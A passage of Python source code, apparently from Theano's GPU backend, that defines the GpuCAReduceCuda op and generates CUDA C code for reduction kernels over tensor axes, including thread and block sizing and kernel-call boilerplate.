- reduce_mask == (1,0) computes the sum of each column in a matrix
- reduce_mask == (0,1) computes the sum of each row in a matrix
- reduce_mask == (1,1,1) computes the sum of all elements in a 3-tensor.
Notes
-----
Any reduce_mask of all zeros is a sort of 'copy', and may be removed during
graph optimization.
This Op is a work in progress.
This op was recently upgraded from just GpuSum a general CAReduce. Not
many code cases are supported for scalar_op being anything other than
scalar.Add instances yet.
Important note: if you implement new cases for this op, be sure to
benchmark them and make sure that they actually result in a speedup.
GPUs are not especially well-suited to reduction operations so it is
quite possible that the GPU might be slower for some cases.
"""
__props__ = (
"axis",
"reduce_mask",
"dtype",
"acc_dtype",
"scalar_op",
"pre_scalar_op",
)
_f16_ok = True
verbose = 0
def __init__(
self,
scalar_op,
axis=None,
reduce_mask=None,
dtype=None,
acc_dtype=None,
pre_scalar_op=None,
):
if reduce_mask is not None:
reduce_mask = tuple(reduce_mask)
self.reduce_mask = reduce_mask
# used to make sure that calls to scalar op
# have unique name arguments
self._n_scalar_op_calls = 0
CAReduceDtype.__init__(
self, scalar_op, axis=axis, dtype=dtype, acc_dtype=acc_dtype
)
self.pre_scalar_op = pre_scalar_op
if pre_scalar_op:
assert pre_scalar_op.nin == 1
def __str__(self):
pre = ""
if self.pre_scalar_op:
pre = f"pre={self.pre_scalar_op},red="
ax = ""
if self.axis is not None:
ax = f"{{{', '.join(str(x) for x in self.axis)}}}"
return f"GpuCAReduceCuda{{{pre}{str(self.scalar_op)}}}{ax}"
def __setstate__(self, d):
self.__dict__.update(d)
# For unpickling of old ops.
if not hasattr(self, "pre_scalar_op"):
self.pre_scalar_op = None
def make_node(self, x):
x = as_gpuarray_variable(x, infer_context_name(x))
if x.type.context.kind != b"cuda":
raise TypeError("GpuCAReduceCuda doesn't work for non-cuda devices")
ret = super().make_node(x)
self = copy.copy(self)
self.axis = ret.op.axis
if self.pre_scalar_op:
# Currently we only tested pre_scalar_op that don't cause
# upcast.
assert Elemwise(self.pre_scalar_op)(x).dtype == x.dtype
if self.reduce_mask is None:
if self.axis is None:
reduce_mask = [1] * x.type.ndim
else:
reduce_mask = [0] * x.type.ndim
for a in self.axis:
assert reduce_mask[a] == 0
reduce_mask[a] = 1
self.reduce_mask = tuple(reduce_mask)
if x.type.ndim != len(self.reduce_mask):
raise TypeError(f"x must have rank {len(self.reduce_mask)}")
if (
"complex" in x.dtype
or "complex" in ret.outputs[0].dtype
or "complex" in self._acc_dtype(x.dtype)
):
raise NotImplementedError("We don't support complex in gpu reduction")
return Apply(
self,
[x],
[
GpuArrayType(
ret.outputs[0].dtype,
ret.outputs[0].type.broadcastable,
context_name=x.type.context_name,
)()
],
)
def perform(self, node, inp, out, ctx):
Op.perform(self, node, inp, out, ctx)
def supports_c_code(self, inputs):
"""
Returns True if the current op and reduce pattern has functioning C code.
"""
# If we don't even have the right method, we certainly
# don't support the C code
# (This is the test that used to be implemented by
# local_gpu_sum)
pattern = "".join(str(i) for i in self.reduce_mask)
if not hasattr(self, f"c_code_reduce_{pattern}"):
return False
# Now that this is a general reduction op, we might
# have a method for a pattern, but that pattern
# might not be implemented for the current scalar op.
# To detect this more complicated situation, we
# make fake arguments to c_code, try to run them,
# and see if NotImplementedError gets raised.
node = self.make_node(*inputs)
name = "fake_name"
inp = [f"fake_input_name_{i}" for i in range(len(inputs))]
out = [f"fake_output_name_{i}" for i in range(len(node.outputs))]
sub = {"fail": "fake failure code", "params": "fake context"}
try:
self.c_code(node, name, inp, out, sub)
if not self.gpu_kernels(node, name):
return False
except NotImplementedError:
return False
return True
def c_headers(self):
return ["<numpy_compat.h>", "<gpuarray/types.h>"]
def c_support_code(self):
return """
template <typename T>
static T ceil_intdiv(T a, T b)
{
return (a/b) + ((a % b) ? 1: 0);
}
"""
def c_code(self, node, name, inp, out, sub):
(x,) = inp
(z,) = out
nd_in = node.inputs[0].type.ndim
nd_out = node.outputs[0].type.ndim
# For complex, we need to use theano_complex* in the c code to
# have it run. But libgpuarray don't understand it.
in_dtype = node.inputs[0].type.dtype_specs()[1]
out_dtype = node.outputs[0].type.dtype_specs()[1]
gin_dtype = "npy_" + node.inputs[0].dtype
gout_dtype = "npy_" + node.outputs[0].dtype
assert nd_in - nd_out == sum(self.reduce_mask)
sio = StringIO()
fail = sub["fail"]
ctx = sub["params"]
# check input
print(
"""
if (PyGpuArray_NDIM(%(x)s) != %(nd_in)s)
{
PyErr_Format(PyExc_TypeError,
"required nd=%(nd_in)s, got nd=%%u", PyGpuArray_NDIM(%(x)s));
%(fail)s;
}
"""
% locals(),
file=sio,
)
# It might be nice to use a property of the op class to do this,
# but tensor.elemwise.CAReduce has this exact same check so I guess
# this is OK to do
if self.scalar_op in [scalar.scalar_minimum, scalar.scalar_maximum]:
conds = [
f"(PyGpuArray_DIMS({x})[{i}] == 0)"
for i in range(nd_in)
if self.reduce_mask[i]
]
assert len(conds) > 0
cond = "(" + " || ".join(conds) + ")"
print(
"""
if %(cond)s
{
PyErr_Format(PyExc_ValueError," tried to reduce a 0-length axis.");
%(fail)s;
}
"""
% locals(),
file=sio,
)
#
# alloc an output if we need one
#
# check the basics of out output
print(
f"""
if ( !{z}
|| (PyGpuArray_NDIM({z}) != {nd_out})
""",
file=sio,
)
# ensure that the output has the right non-reduced dimensions
j = 0
for i in range(nd_in):
if not self.reduce_mask[i]:
print(
" || (PyGpuArray_DIMS(%(z)s)[%(j)s] != PyGpuArray_DIMS(%(x)s)[%(i)d]) "
% locals(),
file=sio,
)
j += 1
print(
"""
)
{
"""
% locals(),
file=sio,
)
if nd_out > 0:
print(f"size_t new_dims[{nd_out}]; ", file=sio)
else:
print("size_t *new_dims=NULL; ", file=sio)
j = 0
for i in range(nd_in):
if not self.reduce_mask[i]:
print(
f"new_dims[{j}] = PyGpuArray_DIMS({x})[{i}];",
file=sio,
)
j += 1
out_typecode = dtype_to_typecode(gout_dtype[4:])
print(
"""
Py_XDECREF(%(z)s);
%(z)s = pygpu_empty(%(nd_out)s, new_dims,
%(out_typecode)s, GA_C_ORDER,
%(ctx)s, Py_None);
if (NULL == %(z)s)
{
PyErr_Format(PyExc_RuntimeError, "Failed to allocate output");
%(fail)s;
}
}
"""
% locals(),
file=sio,
)
# \begin bracket the reduction in a check that there is
# actually work to do
if getattr(self.scalar_op, "identity", None) == 0:
zero_shp = f"GpuArray_memset(&{z}->ga, 0)"
# TODO: elif getattr(self.scalar_op, 'identity', None) == 1:
else:
scalar_op = self.scalar_op
zero_shp = (
"""
PyErr_Format(PyExc_NotImplementedError,
"GpuCAReduceCuda not implemented when input shape is 0"
" for this scalar_op: %(scalar_op)s");
%(fail)s;
"""
% locals()
)
print(
"""
if (PyGpuArray_SIZE(%(z)s) && ! PyGpuArray_SIZE(%(x)s)){
%(zero_shp)s;
}
else if (PyGpuArray_SIZE(%(z)s))
{
"""
% locals(),
file=sio,
)
#
# Now perform the reduction
#
if all(i == 1 for i in self.reduce_mask):
# check if the tensor is ccontiguous, if true, use the c_code_reduce_ccontig code.
# TODO: check if we are ccontiguous when we un-dimshuffle
# TODO: if only some dims are ccontiguous, call version with less dims.
print("if(%(x)s->ga.flags & GA_C_CONTIGUOUS){" % locals(), file=sio)
self.c_code_reduce_ccontig(sio, node, name, x, z, fail)
print("}else{", file=sio)
getattr(self, f"c_code_reduce_{''.join(str(i) for i in self.reduce_mask)}")(
sio, node, name, x, z, fail
)
print("}", file=sio)
else:
getattr(self, f"c_code_reduce_{''.join(str(i) for i in self.reduce_mask)}")(
sio, node, name, x, z, fail
)
# \end bracket the reduction ...
print(
"""
}
"""
% locals(),
file=sio,
)
return sio.getvalue()
def _makecall(
self, node, name, x, z, fail, pattern=None, extra_dims=(), extra_strides=()
):
"""
Return a string for making a kernel call.
The return value looks something like:
.. code-block:: c
ssize_t stride_A0 = PyGpuArray_STRIDES(%(x)s)[0]/sizeof(%(in_dtype)s);
ssize_t stride_A1 = PyGpuArray_STRIDES(%(x)s)[1]/sizeof(%(in_dtype)s);
ssize_t stride_Z0 = PyGpuArray_STRIDES(%(z)s)[0]/sizeof(%(out_dtype)s);
if (verbose)
printf("running kernel_reduce_10_%(name)s\\n");
size_t n_shared = sizeof(%(acc_dtype)s) * n_threads[0] * n_threads[1] * n_threads[2];
void *kernel_params[] = {
(void *)&PyGpuArray_DIMS(%(x)s)[0],
(void *)&PyGpuArray_DIMS(%(x)s)[1],
(void *)%(x)s->ga.data,
(void *)&%(x)s->ga.offset,
(void *)&stride_A0,
(void *)&stride_A1,
(void *)%(z)s->ga.data,
(void *)&%(z)s->ga.offset,
(void *)&stride_Z0};
int err = GpuKernel_call(&%(k_var)s, 3, n_blocks, n_threads, n_shared, kernel_params);
%(err_check)s
"""
in_dtype = "npy_" + node.inputs[0].dtype
out_dtype = "npy_" + node.outputs[0].dtype
acc_dtype = "npy_" + self._acc_dtype(node.inputs[0].dtype)
sio = StringIO()
if pattern is None:
pattern = "".join(str(c) for c in self.reduce_mask)
ndim = len(self.reduce_mask)
nd_out = ndim - sum(self.reduce_mask)
shapes_format = f"shape=({','.join(['%llu'] * node.inputs[0].ndim)})"
shapes_data = ",".join(
[f"(size_t) PyGpuArray_DIMS({x})[{i}]" for i in range(node.inputs[0].ndim)]
)
k_var = f"kernel_reduce_{pattern}_{name}"
params = []
for i in range(ndim):
params.append(f"(void *)&PyGpuArray_DIMS({x})[{i}]")
for declaration, value in extra_dims:
print(declaration % locals(), file=sio)
params.append(value)
params.append(f"(void *){x}->ga.data")
params.append(f"(void *)&{x}->ga.offset")
for i in range(ndim):
print(
"""
ssize_t stride_A%(i)d = PyGpuArray_STRIDES(%(x)s)[%(i)s]/sizeof(%(in_dtype)s);
"""
% locals(),
file=sio,
)
params.append("(void *)&stride_A%(i)d" % locals())
for declaration, value in extra_strides:
print(declaration % locals(), file=sio)
params.append(value)
params.append(f"(void *){z}->ga.data")
params.append(f"(void *)&{z}->ga.offset")
for i in range(nd_out):
print(
"""
ssize_t stride_Z%(i)d = PyGpuArray_STRIDES(%(z)s)[%(i)s]/sizeof(%(out_dtype)s);
"""
% locals(),
file=sio,
)
params.append("(void *)&stride_Z%(i)d" % locals())
kernel_params = ", ".join(params)
err_check = (
"""
if (err != GA_NO_ERROR) {
PyErr_Format(PyExc_RuntimeError,
"gpuarray error: %(k_var)s: %%s.",
GpuKernel_error(&%(k_var)s, err));
%(fail)s;
}
"""
% locals()
)
print(
"""
if (verbose)
printf("running kernel_reduce_%(pattern)s_%(name)s\\n");
size_t n_shared = sizeof(%(acc_dtype)s) * n_threads[0] * n_threads[1] * n_threads[2];
void *kernel_params[] = { %(kernel_params)s };
if (verbose>1)
printf("n_threads[0]=%%lu, n_threads[1]=%%lu, "
"n_threads[2]=%%lu, n_threads=%%lu, "
"n_blocks[0]=%%lu, n_blocks[1]=%%lu, n_blocks[2]=%%lu, "
"n_blocks=%%lu, n_shared=%%d, %(shapes_format)s\\n",
n_threads[0],n_threads[1],
n_threads[2],
n_threads[0]*n_threads[1]*
n_threads[2],
n_blocks[0],n_blocks[1],n_blocks[2],
n_blocks[0]*n_blocks[1]*n_blocks[2],
n_shared, %(shapes_data)s);
int err = GpuKernel_call(&%(k_var)s, 3, n_blocks, n_threads, n_shared, kernel_params);
%(err_check)s
"""
% locals(),
file=sio,
)
return sio.getvalue()
def _k_decl(self, node, nodename, pattern=None, ndim=None, reduce_mask=None):
"""
Return a string to declare a kernel function.
The result will look something like this:
.. code-block:: c
KERNEL void kernel_reduce_110_%(nodename)s(
const ga_size d0,
const ga_size d1,
const ga_size d2,
const %(in_type)s *A,
const ga_size offset_A,
const ga_ssize sA0,
const ga_ssize sA1,
const ga_ssize sA2,
%(out_type)s * Z,
const ga_size offset_Z,
const ga_ssize sZ0)
Since the nodename is unique, we don't need to put the name
of the scalar_op in here.
"""
in_dtype = node.inputs[0].dtype
out_dtype = node.outputs[0].dtype
in_type = gpuarray.dtype_to_ctype(in_dtype)
out_type = gpuarray.dtype_to_ctype(out_dtype)
if reduce_mask is None:
reduce_mask = self.reduce_mask
if ndim is None:
ndim = len(reduce_mask)
if pattern is None:
pattern = "".join(str(i) for i in reduce_mask)
kname = f"kernel_reduce_{pattern}"
k_var = f"kernel_reduce_{pattern}_{nodename}"
params = []
sio = StringIO()
print(
f"""
KERNEL void {kname}(
""",
file=sio,
)
for i in range(ndim):
params.append("uintp")
print(
f"""
const ga_size d{i},
""",
file=sio,
)
params.append(gpuarray.GpuArray)
params.append("uintp")
print(
f"""
const {in_type} *A, const ga_size offset_A,
""",
file=sio,
)
for i in range(ndim):
params.append("intp")
print(
f"""
const ga_ssize sA{i},
""",
file=sio,
)
params.append(gpuarray.GpuArray)
params.append("uintp")
print(
f"""
{out_type} * Z, const ga_size offset_Z
""",
file=sio,
)
for i in range(ndim - sum(reduce_mask)):
params.append("intp")
print(
f"""
, const ga_ssize sZ{i}
""",
file=sio,
)
print(")", file=sio)
return sio.getvalue(), kname, params, k_var
def _k_init(self, node, nodename):
in_dtype = node.inputs[0].dtype
out_dtype = node.outputs[0].dtype
acc_dtype = self._acc_dtype(node.inputs[0].dtype)
# We need to use theano_complex* and not npy_complex*
in_type = gpuarray.dtype_to_ctype(in_dtype)
out_type = gpuarray.dtype_to_ctype(out_dtype)
acc_type = gpuarray.dtype_to_ctype(acc_dtype)
return (
"""
const int threadCount = blockDim.x * blockDim.y * blockDim.z;
const int threadNum = threadIdx.z * blockDim.x * blockDim.y
+ threadIdx.y * blockDim.x + threadIdx.x;
extern __shared__ %(acc_type)s buf[];
A = (const %(in_type)s *)(((char *)A)+offset_A);
Z = (%(out_type)s *)(((char *)Z)+offset_Z);
%(acc_type)s myresult = 0;
"""
% locals()
)
def _assign_init(self, first_item, dtype):
"""
This return the initial value for myresult.
If the scalar op have an identity value, return it.
Otherwise, check that the scalar op is maximum or minimum
and return first_item. It should be the first element of the reduction.
As the maximum and minimum of the same value don't change, this work.
"""
if hasattr(self.scalar_op, "identity"):
return str(self.scalar_op.identity)
else:
assert isinstance(
self.scalar_op, (scalar.ScalarMaximum, scalar.ScalarMinimum)
)
if self.pre_scalar_op: # TODO: multiple dtypes
# dtype = node.inputs[0].dtype
dummy_var = scalar.Scalar(dtype=dtype)()
dummy_node = self.pre_scalar_op.make_node(dummy_var)
dummy_name = "assign_init_pre_scalar_op" + str(self._n_scalar_op_calls)
self._n_scalar_op_calls += 1
t = self.pre_scalar_op.c_code(
dummy_node, dummy_name, (first_item,), ("",), {}
)
assert t.startswith(" = ")
first_item = t[3:]
if first_item[-1] == ";":
first_item = first_item[:-1]
return first_item
def _assign_reduce(self, node, name, left, right, sub, pre):
"""
Parameters
----------
node
The node argument to this op's c_code.
name
The name argument to this op's c_code.
left
A C code string identifying an lvalue.
right
A C code string identifying an expression.
sub
The sub argument to this op's c_code.
pre
If True, we will add the pre_scalar_op.c_code.
Returns
-------
str
C code to reduce left and right, assigning the result to left.
"""
(x,) = node.inputs
in_dtype = x.dtype
out_dtype = node.outputs[0].dtype
dummy_left = Scalar(dtype=out_dtype)()
dummy_right = Scalar(dtype=in_dtype)()
dummy_node = self.scalar_op.make_node(dummy_left, dummy_right)
dummy_name = name + "_scalar_op" + str(self._n_scalar_op_calls)
self._n_scalar_op_calls += 1
if pre and self.pre_scalar_op:
assert left == "myresult"
dummy_node = self.pre_scalar_op.make_node(dummy_left)
dummy_name = name + "_scalar_op" + str(self._n_scalar_op_calls)
self._n_scalar_op_calls += 1
t = self.pre_scalar_op.c_code(dummy_node, dummy_name, (right,), ("",), sub)
assert t.startswith(" = ")
right = t[3:]
if right[-1] == ";":
right = right[:-1]
return self.scalar_op.c_code(
dummy_node, dummy_name, (left, right), (left,), sub
)
def _k_reduce_buf(self, z_pos, node, name, sub):
"""
WRITEME
Parameters
----------
node, name, sub
These should be passed through from the original call to c_code.
"""
in_dtype = "npy_" + node.inputs[0].dtype
out_dtype = "npy_" + node.outputs[0].dtype
acc_dtype = "npy_" + self._acc_dtype(node.inputs[0].dtype)
write_out = write_w(node.outputs[0].dtype)
current_version = """
__syncthreads(); // some kernel do multiple reduction.
buf[threadNum] = myresult;
__syncthreads();
// rest of function is handled by one warp
if (threadNum < warpSize) {
//round up all the partial sums into the first `warpSize` elements
for (int i = threadNum + warpSize; i < threadCount; i += warpSize)
{
"""
current_version += (
self._assign_reduce(node, name, "myresult", "buf[i]", sub, False)
+ """
}
buf[threadNum] = myresult;
}
__syncthreads();
for (unsigned int _n = warpSize / 2; _n > 0; _n /= 2) {
if (threadNum < _n && threadNum + _n < threadCount)
"""
)
current_version += self._assign_reduce(
node, name, "buf[threadNum]", "buf[threadNum+_n]", sub, False
)
current_version += """
__syncthreads();
}
if (threadNum == 0) {
%(z_pos)s = %(write_out)s(buf[0]);
}
"""
current_version = current_version % locals()
return current_version
# Threads must be organized as: threadNum%nb_reduce correspond to the same sum
# nb_reduce<=warpSize
def _k_reduce_buf_multiple(self, z_pos, node, name, nb_reduce):
reduce_fct = self._assign_reduce(node, name, "myresult", "buf[i]", {}, False)
write_out = write_w(node.outputs[0].dtype)
return (
"""
__syncthreads(); // some kernel do multiple reduction.
buf[threadNum] = myresult;
__syncthreads();
// rest of function is handled by one warp
if (threadNum < %(nb_reduce)s)
{
//round up all the partial sums into the first `nb_reduce` elements
for (int i = threadNum + %(nb_reduce)s; i < threadCount; i += %(nb_reduce)s)
{
%(reduce_fct)s;
}
%(z_pos)s = %(write_out)s(myresult);
}
"""
% locals()
)
def c_code_reduce_ccontig(self, sio, node, name, x, z, fail):
verbose = self.verbose
in_dtype = "npy_" + node.inputs[0].dtype
out_dtype = "npy_" + node.outputs[0].dtype
if getattr(self.scalar_op, "identity", None) == 0:
zero_shp = f"GpuArray_memset(&{z}->ga, 0)"
# TODO: elif getattr(self.scalar_op, 'identity', None) == 1:
else:
zero_shp = (
"""
PyErr_Format(PyExc_NotImplementedError,
"GpuCAReduceCuda not implemented when input shape is 0 for this scalar_op");
%(fail)s;
"""
% locals()
)
acc_dtype = "npy_" + self._acc_dtype(node.inputs[0].dtype)
k_var = f"kernel_reduce_ccontig_{name}"
err_check = (
"""
if (err != GA_NO_ERROR) {
PyErr_Format(PyExc_RuntimeError,
"gpuarray error: %(k_var)s: %%s.",
GpuKernel_error(&%(k_var)s, err));
%(fail)s;
}
"""
% locals()
)
print(
"""
{
if(PyGpuArray_SIZE(%(x)s)==0){
%(zero_shp)s;
}else{
int verbose = %(verbose)s;
size_t numEls = PyGpuArray_SIZE(%(x)s);
size_t n_threads = std::min(numEls, (size_t) 256);
size_t n_blocks = 1;
void *kernel_params[] = {(void *)&numEls,
(void *)%(x)s->ga.data,
(void *)&%(x)s->ga.offset,
(void *)%(z)s->ga.data,
(void *)&%(z)s->ga.offset};
if (verbose) printf("running kernel_reduce_ccontig_%(name)s"
" n_threads=%%llu, size=%%llu, ndim=%%u\\n",
n_threads, numEls,
PyGpuArray_NDIM(%(x)s));
size_t n_shared = sizeof(%(acc_dtype)s) * n_threads;
int err = GpuKernel_call(&%(k_var)s, 1, &n_blocks, &n_threads, n_shared, kernel_params);
%(err_check)s
}
}
"""
% locals(),
file=sio,
)
def c_code_reduce_1(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[0], (size_t) 256), 1, 1};
size_t n_blocks[3] = {1, 1, 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_11(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[1], (size_t) 256), 1, 1};
while (n_threads[1] * n_threads[0] <= 256) ++n_threads[1];
n_threads[1] -= 1;
if (n_threads[1] > PyGpuArray_DIMS(%(x)s)[0])
n_threads[1] = PyGpuArray_DIMS(%(x)s)[0];
size_t n_blocks[3] = {1, 1, 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_01X(self, sio, node, name, x, z, fail, N):
"""
Parameters
----------
N
The number of 1 in the pattern N=1 -> 01, N=2 -> 011 N=3 ->0111
Work for N=1,2,3.
"""
assert N in [1, 2, 3]
verbose = self.verbose
in_dtype = "npy_" + node.inputs[0].dtype
out_dtype = "npy_" + node.outputs[0].dtype
makecall = self._makecall(node, name, x, z, fail)
N_pattern = "".join(["1"] * N)
param_dim = ",".join([f"PyGpuArray_DIMS({x})[{i}]" for i in range(N + 1)])
strides_dim = ",".join(
[f"PyGpuArray_STRIDES({x})[{i}]/sizeof({in_dtype})" for i in range(N + 1)]
)
threads_y = (
"""
//get as many y threads as we can fit
while (n_threads[0] * (n_threads[1]+1) <= 256)
{
if (n_threads[1] < PyGpuArray_DIMS(%(x)s)[%(N)s-1])
n_threads[1] += 1;
else
break;
}"""
% locals()
)
threads_z = (
"""
//get as many z threads as we can fit
while (n_threads[0] * n_threads[1] * (n_threads[2]+1) <= 256)
{
if (n_threads[2] < PyGpuArray_DIMS(%(x)s)[%(N)s-2])
n_threads[2] += 1;
else
break;
}
//Maximum for Fermi GPU on that dimensions.
n_threads[2] = std::min(n_threads[2], (size_t)64);
"""
% locals()
)
if len(self.reduce_mask) == 2:
threads_y = ""
threads_z = ""
if len(self.reduce_mask) == 3:
threads_z = ""
print(
"""
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[%(N)s], (size_t) 256), 1, 1};
%(threads_y)s
%(threads_z)s
size_t n_blocks[3] = {std::min(PyGpuArray_DIMS(%(x)s)[0], (size_t) 4096), 1, 1};
%(makecall)s
}
"""
% locals(),
file=sio,
)
def c_code_reduce_01(self, sio, node, name, x, z, fail):
self.c_code_reduce_01X(sio, node, name, x, z, fail, 1)
def c_code_reduce_011(self, sio, node, name, x, z, fail):
self.c_code_reduce_01X(sio, node, name, x, z, fail, 2)
def c_code_reduce_0111(self, sio, node, name, x, z, fail):
self.c_code_reduce_01X(sio, node, name, x, z, fail, 3)
def c_code_reduce_10(self, sio, node, name, x, z, fail):
verbose = self.verbose
in_dtype = "npy_" + node.inputs[0].dtype
out_dtype = "npy_" + node.outputs[0].dtype
acc_dtype = "npy_" + self._acc_dtype(node.inputs[0].dtype)
k_var = f"kernel_reduce_10_{name}"
err_check = (
"""
if (err != GA_NO_ERROR) {
PyErr_Format(PyExc_RuntimeError,
"gpuarray error: %(k_var)s: %%s.",
GpuKernel_error(%(k_var)s, err));
%(fail)s;
}
"""
% locals()
)
print(
"""
{
int verbose = %(verbose)s;
if(PyGpuArray_STRIDES(%(x)s)[0]>
PyGpuArray_STRIDES(%(x)s)[1]){
// If there are a lot of summations to do, then we can use simple parallelization -
// use each thread to do one sum.
// we might as well launch blocks of 32 threads because that's the warp size.
// we could schedule more threads if we were maxing out the gridsize below, but
// the gridsize is way more than the physical hardware and I think 32 threads
// on a huge grid is enough to fully use the hardware.
size_t n_threads[3] = {32, 1, 1};
// We kindof reshape the input implicitly to something 4D:
// the shape A,B,C -> A, B, D, E
// where C <= D*E < C+32
// where E==32
GpuKernel *%(k_var)s = &kernel_reduce_010_AD_%(name)s;
size_t A = 1;
size_t B = PyGpuArray_DIMS(%(x)s)[0];
size_t C = PyGpuArray_DIMS(%(x)s)[1];
size_t D = C/32;
if (32*D < C) D+= 1;
assert ((C <= 32*D) && (32*D < C+32));
// The gridsize would ideally be (A, D). But we do the following logic to make
// sure we don't ask for a grid that is too big.
size_t n_blocks[3] = {A, D, 1};
if (n_blocks[0] > 4096) n_blocks[0] = 4096;
if (n_blocks[0]*n_blocks[1] > 4096) n_blocks[1] = 4096/n_blocks[0];
ssize_t stride_A0 = 1;
ssize_t stride_A1 = PyGpuArray_STRIDES(%(x)s)[0]/sizeof(%(in_dtype)s);
ssize_t stride_A2 = PyGpuArray_STRIDES(%(x)s)[1]/sizeof(%(in_dtype)s);
ssize_t stride_Z0 = 1;
ssize_t stride_Z1 = PyGpuArray_STRIDES(%(z)s)[0]/sizeof(%(out_dtype)s);
void *kernel_params[] = {
(void *)&A, (void *)&B, (void *)&C, (void *)&D,
(void *)%(x)s->ga.data,
(void *)&%(x)s->ga.offset,
(void *)&stride_A0, (void *)&stride_A1, (void *)&stride_A2,
(void *)%(z)s->ga.data,
(void *)&%(z)s->ga.offset,
(void *)&stride_Z0, (void *)&stride_Z1};
int err = GpuKernel_call(%(k_var)s, 3, n_blocks, n_threads, 0, kernel_params);
%(err_check)s
}else{
GpuKernel *%(k_var)s = &kernel_reduce_010_%(name)s;
size_t n_threads[3] = {std::min(PyGpuArray_DIMS(%(x)s)[0], (size_t) 256), 1, 1};
size_t n_blocks[3] = {1, std::min(PyGpuArray_DIMS(%(x)s)[1], (size_t) 4096), 1};
if (verbose) {
fprintf(stderr,
"running kernel_reduce_10_%(name)s n_blocks=(%%llu,%%llu)\\n",
(unsigned long long)n_blocks[0],
(unsigned long long)n_blocks[1]);
}
assert(PyGpuArray_DIMS(%(x)s)[1] == PyGpuArray_DIMS(%(z)s)[0]);
size_t n_shared = sizeof(%(acc_dtype)s) * n_threads[0];
size_t dim_0 = 1;
ssize_t stride_A0 = 1;
ssize_t stride_A1 = PyGpuArray_STRIDES(%(x)s)[0]/sizeof(%(in_dtype)s);
ssize_t stride_A2 = PyGpuArray_STRIDES(%(x)s)[1]/sizeof(%(in_dtype)s);
ssize_t stride_Z0 = 1;
ssize_t stride_Z1 = PyGpuArray_STRIDES(%(z)s)[0]/sizeof(%(out_dtype)s);
void *kernel_params[] = {
(void *)&dim_0,
(void *)&PyGpuArray_DIMS(%(x)s)[0],
(void *)&PyGpuArray_DIMS(%(x)s)[1],
(void *)%(x)s->ga.data, (void *)&%(x)s->ga.offset,
(void *)&stride_A0, (void *)&stride_A1, (void *)&stride_A2,
(void *)%(z)s->ga.data, (void *)&%(z)s->ga.offset,
(void *)&stride_Z0, (void *)&stride_Z1};
int err = GpuKernel_call(%(k_var)s, 3, n_blocks, n_threads, n_shared, kernel_params);
%(err_check)s
}
}
"""
% locals(),
file=sio,
)
def c_code_reduce_010(self, sio, node, name, x, z, fail):
verbose = self.verbose
makecall = self._makecall(node, name, x, z, fail)
makecall_inner = self._makecall(node, name, x, z, fail, pattern="010_inner")
pattern = "".join(str(i) for i in self.reduce_mask)
in_dtype = "npy_" + node.inputs[0].dtype
out_dtype = "npy_" + node.outputs[0].dtype
k_var = f"kernel_reduce_010_AD_{name}"
err_check = (
"""
if (err != GA_NO_ERROR) {
PyErr_Format(PyExc_RuntimeError,
"gpuarray error: %(k_var)s: %%s.",
GpuKernel_error(&%(k_var)s, err));
%(fail)s;
}
"""
% locals()
)
print(
"""
{
//int n_summations = PyGpuArray_DIMS(%(x)s)[0] * PyGpuArray_DIMS(%(x)s)[2];
//if ((n_summations >= 15 * 32) && (PyGpuArray_DIMS(%(x)s)[2]>=16))
if (1) // if the alternative is less buggy, consider not using this branch
{
// If there are a lot of summations to do, then we can use simple parallelization -
// use each thread to do one sum.
// we might as well launch blocks of 32 threads because that's the warp size.
// we could schedule more threads if we were maxing out the gridsize below, but
// the gridsize is way more than the physical hardware and I think 32 threads
// on a huge grid is enough to fully use the hardware.
size_t n_threads[3] = {32, 1, 1};
// We kindof reshape the input implicitly to something 4D:
// the shape A,B,C -> A, B, D, E
// where C <= D*E < C+32
// where E==32
size_t A = PyGpuArray_DIMS(%(x)s)[0];
size_t B = PyGpuArray_DIMS(%(x)s)[1];
size_t C = PyGpuArray_DIMS(%(x)s)[2];
size_t D = C/32;
if (32*D < C) D+= 1;
assert ((C <= 32*D) && (32*D < C+32));
// The gridsize would ideally be (A, D). But we do the following logic to make
// sure we don't ask for a grid that is too big.
size_t n_blocks[3] = {A, D, 1};
if (n_blocks[0] > 4096) n_blocks[0] = 4096;
if (n_blocks[0]*n_blocks[1] > 4096) n_blocks[1] = 4096/n_blocks[0];
ssize_t stride_A0 = PyGpuArray_STRIDES(%(x)s)[0]/sizeof(%(in_dtype)s);
ssize_t stride_A1 = PyGpuArray_STRIDES(%(x)s)[1]/sizeof(%(in_dtype)s);
ssize_t stride_A2 = PyGpuArray_STRIDES(%(x)s)[2]/sizeof(%(in_dtype)s);
ssize_t stride_Z0 = PyGpuArray_STRIDES(%(z)s)[0]/sizeof(%(out_dtype)s);
ssize_t stride_Z1 = PyGpuArray_STRIDES(%(z)s)[1]/sizeof(%(out_dtype)s);
void *kernel_params[] = {
(void *)&A, (void *)&B, (void *)&C, (void *)&D,
(void *)%(x)s->ga.data,
(void *)&%(x)s->ga.offset,
(void *)&stride_A0, (void *)&stride_A1, (void *)&stride_A2,
(void *)%(z)s->ga.data,
(void *)&%(z)s->ga.offset,
(void *)&stride_Z0, (void *)&stride_Z1};
int err = GpuKernel_call(&%(k_var)s, 3, n_blocks, n_threads, 0, kernel_params);
%(err_check)s
}
else
{
int verbose = %(verbose)s;
size_t n_threads[3] = {std::min((size_t) 32, PyGpuArray_DIMS(%(x)s)[2]), 1, 1};
while( (n_threads[0]*(n_threads[1]+1)<=256)
&& (n_threads[1]<PyGpuArray_DIMS(%(x)s)[1])){
n_threads[1]++;
}
size_t n_blocks[3] = {std::min(PyGpuArray_DIMS(%(x)s)[0], (size_t)4096), 1, 1};
n_blocks[1] = std::min(
ceil_intdiv(PyGpuArray_DIMS(%(x)s)[2],
(size_t)n_threads[0]),
(size_t)(4096 / n_blocks[0])
);
if(std::min(std::min(PyGpuArray_STRIDES(%(x)s)[0]/sizeof(%(in_dtype)s),
PyGpuArray_STRIDES(%(x)s)[1]/sizeof(%(in_dtype)s)),
PyGpuArray_STRIDES(%(x)s)[2]/sizeof(%(in_dtype)s))
